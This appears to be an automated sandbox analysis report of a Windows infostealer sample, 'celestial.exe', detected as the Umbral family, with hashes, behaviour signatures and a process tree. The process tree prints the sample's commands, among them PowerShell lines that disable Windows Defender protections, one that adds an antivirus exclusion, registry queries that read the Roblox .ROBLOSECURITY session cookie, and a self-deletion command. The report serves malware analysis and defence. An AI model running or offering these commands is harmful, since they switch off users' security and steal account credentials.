Analysis
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max time kernel
21s -
max time network
23s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
30-09-2023 03:51
General
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Target
celestial.exe
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Size
229KB
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MD5
d57ec258aaffb601a3594f9ac3a44b6d
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SHA1
c4b592284058deda8356b1a66e80903ddbd00f1f
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SHA256
de34cde65aade458fe105a3d66395848e4102a0d179d16e72d1538069faee469
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SHA512
300cae33a20e9d17c2211ee88867b1395ee094eb34f0e25143914935bb0148a60f9f3f89e7184dd2c83cc5b74871edce617ee51c26320e1b61811c83a0400c2a
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SSDEEP
6144:tloZMJrIkd8g+EtXHkv/iD4cME/EKtFuKr20VJg8qb8e1mQei:voZKL+EP8cME/EKtFuKr20VJgD3
Malware Config
Signatures
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Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/3020-0-0x000002192AC10000-0x000002192AC50000-memory.dmp family_umbral -
Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts celestial.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Legitimate hosting services abused for malware hosting/C2 1 TTPs
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 ip-api.com -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskmgr.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskmgr.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1636 wmic.exe -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 1532 PING.EXE -
Suspicious behavior: EnumeratesProcesses 21 IoCs
pid Process 1452 powershell.exe 1452 powershell.exe 1204 powershell.exe 1204 powershell.exe 4828 powershell.exe 4828 powershell.exe 1420 powershell.exe 1420 powershell.exe 1804 powershell.exe 1804 powershell.exe 1804 powershell.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3020 celestial.exe Token: SeDebugPrivilege 1452 powershell.exe Token: SeDebugPrivilege 1204 powershell.exe Token: SeDebugPrivilege 4828 powershell.exe Token: SeDebugPrivilege 1420 powershell.exe Token: SeIncreaseQuotaPrivilege 4620 wmic.exe Token: SeSecurityPrivilege 4620 wmic.exe Token: SeTakeOwnershipPrivilege 4620 wmic.exe Token: SeLoadDriverPrivilege 4620 wmic.exe Token: SeSystemProfilePrivilege 4620 wmic.exe Token: SeSystemtimePrivilege 4620 wmic.exe Token: SeProfSingleProcessPrivilege 4620 wmic.exe Token: SeIncBasePriorityPrivilege 4620 wmic.exe Token: SeCreatePagefilePrivilege 4620 wmic.exe Token: SeBackupPrivilege 4620 wmic.exe Token: SeRestorePrivilege 4620 wmic.exe Token: SeShutdownPrivilege 4620 wmic.exe Token: SeDebugPrivilege 4620 wmic.exe Token: SeSystemEnvironmentPrivilege 4620 wmic.exe Token: SeRemoteShutdownPrivilege 4620 wmic.exe Token: SeUndockPrivilege 4620 wmic.exe Token: SeManageVolumePrivilege 4620 wmic.exe Token: 33 4620 wmic.exe Token: 34 4620 wmic.exe Token: 35 4620 wmic.exe Token: 36 4620 wmic.exe Token: SeIncreaseQuotaPrivilege 4620 wmic.exe Token: SeSecurityPrivilege 4620 wmic.exe Token: SeTakeOwnershipPrivilege 4620 wmic.exe Token: SeLoadDriverPrivilege 4620 wmic.exe Token: SeSystemProfilePrivilege 4620 wmic.exe Token: SeSystemtimePrivilege 4620 wmic.exe Token: SeProfSingleProcessPrivilege 4620 wmic.exe Token: SeIncBasePriorityPrivilege 4620 wmic.exe Token: SeCreatePagefilePrivilege 4620 wmic.exe Token: SeBackupPrivilege 4620 wmic.exe Token: SeRestorePrivilege 4620 wmic.exe Token: SeShutdownPrivilege 4620 wmic.exe Token: SeDebugPrivilege 4620 wmic.exe Token: SeSystemEnvironmentPrivilege 4620 wmic.exe Token: SeRemoteShutdownPrivilege 4620 wmic.exe Token: SeUndockPrivilege 4620 wmic.exe Token: SeManageVolumePrivilege 4620 wmic.exe Token: 33 4620 wmic.exe Token: 34 4620 wmic.exe Token: 35 4620 wmic.exe Token: 36 4620 wmic.exe Token: SeIncreaseQuotaPrivilege 3800 wmic.exe Token: SeSecurityPrivilege 3800 wmic.exe Token: SeTakeOwnershipPrivilege 3800 wmic.exe Token: SeLoadDriverPrivilege 3800 wmic.exe Token: SeSystemProfilePrivilege 3800 wmic.exe Token: SeSystemtimePrivilege 3800 wmic.exe Token: SeProfSingleProcessPrivilege 3800 wmic.exe Token: SeIncBasePriorityPrivilege 3800 wmic.exe Token: SeCreatePagefilePrivilege 3800 wmic.exe Token: SeBackupPrivilege 3800 wmic.exe Token: SeRestorePrivilege 3800 wmic.exe Token: SeShutdownPrivilege 3800 wmic.exe Token: SeDebugPrivilege 3800 wmic.exe Token: SeSystemEnvironmentPrivilege 3800 wmic.exe Token: SeRemoteShutdownPrivilege 3800 wmic.exe Token: SeUndockPrivilege 3800 wmic.exe Token: SeManageVolumePrivilege 3800 wmic.exe -
Suspicious use of FindShellTrayWindow 35 IoCs
pid Process 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe -
Suspicious use of SendNotifyMessage 35 IoCs
pid Process 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe 3192 taskmgr.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3020 wrote to memory of 3944 3020 celestial.exe 85 PID 3020 wrote to memory of 3944 3020 celestial.exe 85 PID 3020 wrote to memory of 1452 3020 celestial.exe 87 PID 3020 wrote to memory of 1452 3020 celestial.exe 87 PID 3020 wrote to memory of 1204 3020 celestial.exe 89 PID 3020 wrote to memory of 1204 3020 celestial.exe 89 PID 3020 wrote to memory of 4828 3020 celestial.exe 94 PID 3020 wrote to memory of 4828 3020 celestial.exe 94 PID 3020 wrote to memory of 1420 3020 celestial.exe 98 PID 3020 wrote to memory of 1420 3020 celestial.exe 98 PID 3020 wrote to memory of 4620 3020 celestial.exe 103 PID 3020 wrote to memory of 4620 3020 celestial.exe 103 PID 3020 wrote to memory of 3800 3020 celestial.exe 105 PID 3020 wrote to memory of 3800 3020 celestial.exe 105 PID 3020 wrote to memory of 3724 3020 celestial.exe 107 PID 3020 wrote to memory of 3724 3020 celestial.exe 107 PID 3020 wrote to memory of 1804 3020 celestial.exe 109 PID 3020 wrote to memory of 1804 3020 celestial.exe 109 PID 3020 wrote to memory of 1636 3020 celestial.exe 112 PID 3020 wrote to memory of 1636 3020 celestial.exe 112 PID 3020 wrote to memory of 3528 3020 celestial.exe 115 PID 3020 wrote to memory of 3528 3020 celestial.exe 115 PID 3528 wrote to memory of 1532 3528 cmd.exe 117 PID 3528 wrote to memory of 1532 3528 cmd.exe 117 -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3944 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\celestial.exe"C:\Users\Admin\AppData\Local\Temp\celestial.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3020 -
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\celestial.exe"2⤵
- Views/modifies file attributes
PID:3944
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\celestial.exe'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1204
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1420
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4620
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3800
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C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid2⤵PID:3724
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1804
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C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name2⤵
- Detects videocard installed
PID:1636
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\celestial.exe" && pause2⤵
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\system32\PING.EXEping localhost3⤵
- Runs ping.exe
PID:1532
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C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3192
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
1KB
MD592382908106bf04aac6575ae0e55073f
SHA1b164dd606b60ada42fe843963f95e14e92d5d86a
SHA2561332dc373efa610424b48ae9955247275f4f94cfeecec93a5121784ed8d6b3db
SHA512d6ee3e3776f683b2a4eaf4fd92e2cd2b9412d85fb57556130d8cabf52e180fb17b5dcdfec9ccd0b3b80bed2816c0bd2d25de35580b859e7799b7cb61071edb3f
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Filesize
944B
MD5cb3a799921d48256ab45414af88b0aa8
SHA18888fb5656f5f11576c0fbc3ba45d7df56000d28
SHA2565ad60a0e324106c6b5a8a7c41b4eac83234ed53cf26025dd4d63c0750b265105
SHA51221b53b49d0f95cb600444b15a274c31d9374ae96dc2ab464e6ada96bae11f1000e92f6f51f62e5b91891dbbb30e6ab9c71006a9a166b8d4ae24457dcd7efdf69
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Filesize
948B
MD528ef595a6cc9f47b8eccb22d4ed50d6c
SHA14335de707324b15eba79017938c3da2752d3eea5
SHA2563abd14d4fe7b5697b2fa84993e7183f4fd2580be5b4e5150da15ddda5a9560b9
SHA512687b7849faa62a4dabc240b573afa163f0cda9a80be61cebe28ef1461777744d73b465ac92d065093228068540846e79c899445057f5b906f9b9fa9868132208
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Filesize
1KB
MD5d3235ed022a42ec4338123ab87144afa
SHA15058608bc0deb720a585a2304a8f7cf63a50a315
SHA25610663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27
SHA512236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82